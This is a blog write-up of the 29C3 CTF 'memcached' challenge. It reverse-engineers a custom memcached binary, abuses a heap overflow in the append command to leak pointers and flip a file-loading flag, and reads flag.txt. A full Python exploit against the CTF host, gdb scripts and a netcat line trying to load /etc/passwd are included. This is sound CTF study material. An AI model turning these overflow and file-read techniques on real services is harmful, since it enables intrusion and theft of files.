30
Dec
2012

29C3 CTF – memcached

Points: 600
This is a truely unbreakable, genuine, RFC-compliant memcached implementation. Find it running at 94.45.252.230:1024

This challenge consists of a 32-bit executable providing a memcached implementation. It allows us to store and retrieve data.

To figure out the protocol that is being used, we look at the output of strings:

$ strings memcached | less
...
CLIENT_ERROR File loading disabled
CLIENT_ERROR reload <key> [noreply]CLIENT_ERROR load <key> <filename> [noreply]
CLIENT_ERROR delete <key(max 127 chars)> [noreply]
CLIENT_ERROR <get|gets> <key(max 127 chars)>
CLIENT_ERROR append <key(max 127 chars)> <flags> <exptime> <bytes(max 2048)> [noreply]
CLIENT_ERROR <add|set|replace> <key(max 127 chars)> <flags> <exptime> <bytes(max 2048)> [noreply]
...

This indeed looks very much like the way the original memcache daemon works.
The first interesting thing is the ‘File loading disabled’ message.
This indicates that the program contains the ability to load files, which might come in handy to load arbitrary files such as the passwd file or the flag file.

First, however, we should get more details of the internals of the program, so we started disassembling the executable.

Disassembling and debugging

The program processes each line separately, comparing the first string (the command, such as add, get, etc) against a virtual function table.
For each command, a separate function is called. We captured the offsets for each function manually using a gdb script:

"add"        0x08049560
"replace"    0x08049560
"set"        0x08049560
"get"        0x08049330
"gets"       0x08049330
"append"     0x08049420
"delete"     0x080491d0
"load"       0x08049010
"reload"     0x08048ec0
"version"    0x08048dc0
"quit"       0x08048e20

Some commands are actually invoking the same function, such as add, replace and set.
We studied the functions in detail, and combined with some debugging we could figure out the internal cache buffer layout:

  uint32_t    uint32_t     128 bytes      2056 bytes
 [ key_len ] [ data_len ] [ cache_key  ] [ data               ]
 [           0x88 bytes (136)          ] [ 0x808 bytes (2056) ]

For each cache key that is added, a buffer of 2192 bytes is malloc()’ed.
We now of course are very curious whether the length of the data we try to store is verified.

It is, we find the following compare:

cmp     eax, 800h

Our data cannot be any longer than 0x800 bytes.
But what if we try to append more data using the append command?

Bingo! After appending more data to the same cache key, we overwrite the next element.
This means that we are able to control the data_len integer of the next element, which is used by the get command to determine how many bytes to write to the socket..

If we send the following sequence to the daemon, we get more data than intended, and also includes some pointers:

    "set apples 1 1 2048\r\n" + "A"*2048 + "\r\n" +
    "set apples2 B B 2048\r\n" + "B"*2048 + "\r\n" +
    "append apples 1 1 24\r\n" + "C"*16 + "\x00\x00\x07\x00\x00\x00\x02\x00\r\n" +
    "get apples2\r\n"
..
0000820: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
0000830: 0000 0000 0880 e708 0000 0000 d1fe 0100  ................
..

Loading arbitrary files

Now we still have to find a way to use this memory leak to our advantage.
As pointed out earlier, the program has file loading capabilities, but if we try to load a file, we get the following error:

 % perl -e 'print "load key /etc/passwd\r\n"' | nc localhost 1024
CLIENT_ERROR File loading disabled

By looking at the disassembly, we notice that the file loading capability can be enabled by starting the program with -l as command line argument.
In turn, this sets a boolean field in the .BSS part of the program (at offset 0x0804B148).

What if we could find a way to write 0x01 to this location so that we enable the file loading capability, and then use the memory leak to retrieve the contents of the file?
This would allow us to read any file and get the flag.

Lets see how the append command works, and how it determines where to write the data to, as it needs to append it after the already existing data.

.text:0804950A                 mov     eax, [eax+4]
.text:0804950D                 mov     edx, [esp+2Ch+data]
.text:08049511                 mov     [esp+2Ch+n], ebp ; n
.text:08049515                 lea     eax, [edi+eax+88h]
.text:0804951C                 mov     [esp+2Ch+src], edx ; src
.text:08049520                 mov     [esp+2Ch+dest], eax ; dest
.text:08049523                 call    _memcpy

It actually reads the data_len field to determine where to start writing, and as we control this field, we can modify it so that it points to the boolean field.
There is one problem though, we also overwrite the file pointer itself, which causes the program to segfault.
It is easy to fix though, we just embed a fake file pointer.

This leads to the following exploit:

import socket
import time
from struct import pack, unpack

target=('94.45.252.230', 1024)

# get offset
s = socket.create_connection(target)
time.sleep(.5)
s.send((
    "set apples 1 1 2048\r\n" + "A"*2048 + "\r\n" +
    "set apples2 B B 2048\r\n" + "B"*2048 + "\r\n" +
    "append apples 1 1 24\r\n" + "C"*16 + "\x00\x00\x07\x00\x00\x00\x02\x00\r\n" +
    "get apples2\r\n"))
time.sleep(.5)
data = s.recv(8192)
s.close()

# parse offsets
offset = unpack("<I", data[0x0000834:0x0000838])
loc    = (0xFFFFFFFF - (offset[0] + 0x88)) + 0x0804b148 - 0x897

offset_ptr  = pack("<I", (offset[0] + 0x88))
offset_bool = pack("<I", loc)

# exploit
s = socket.create_connection(target)
time.sleep(.5)
s.send((
    "set apples1 A A 2048\r\n" + "A"*2048 + "\r\n" +
    "set apples2 B B 2048\r\n" + "B"*2048 + "\r\n" +
    "set apples3 C C 2048\r\n" + "C"*2048 + "\r\n" +
    "set apples4 D D 2048\r\n" + "D"*2048 + "\r\n" +
    "append apples1 A A 24\r\n" + (offset_ptr*4) + "\x00\x00\x07\x00" + offset_bool + "\r\n" +
    "append apples2 B B 1\r\n" + "\x01" + "\r\n" +
    "append apples3 C C 24\r\n" + (offset_ptr*4) + "\x00\x00\x07\x00\x00\x00\x02\x00\r\n" +
    "load key flag.txt\r\n" +
    "get apples4\r\n"))
time.sleep(.5)
print s.recv(8192)

As the heap randomizes on each restart, we first use the memory leak to fetch a pointer, and use that to calculate the correct offsets for the boolean field and the fake file pointer.

The exploit part first sets 4 data elements, which we can append to.
The first append command sets the data_len field of apples2 so that the next append will write \x01 to the boolean field.
The third append will increase the data_len field of apples4 so that we are able to read more data.
Then we load flag.txt, and get apples4, which yields the flag: 29C3_ce7334c21dc0f957806a5aad75e140e2.

{2 Responses to “29C3 CTF – memcached”}

  1. Hello! Tell us about the macro GBDe you used?

    czt
    • Here’s the gdb script for dumping the offsets for each command:

      set follow-fork-mode child
      set pagination off
      
      break *0x08048b3c
      commands
      printf "cmd %-10s 0x%08xn", $eax, *(unsigned int*)($ebx+4)
      continue
      end
      
      run
      quit
      

      Run it like this:

      gdb -q -x offset.gdb ./memcached | grep cmd

      And then send an invalid command so that the program loops through all the possible commands:

      perl -e 'print "invalid_cmdrn"' | nc localhost 1024
      admin
  2. Here’s the gdb script for dumping the offsets for each command:

    set follow-fork-mode child
    set pagination off
    
    break *0x08048b3c
    commands
    printf "cmd %-10s 0x%08xn", $eax, *(unsigned int*)($ebx+4)
    continue
    end
    
    run
    quit
    

    Run it like this:

    gdb -q -x offset.gdb ./memcached | grep cmd

    And then send an invalid command so that the program loops through all the possible commands:

    perl -e 'print "invalid_cmdrn"' | nc localhost 1024
    admin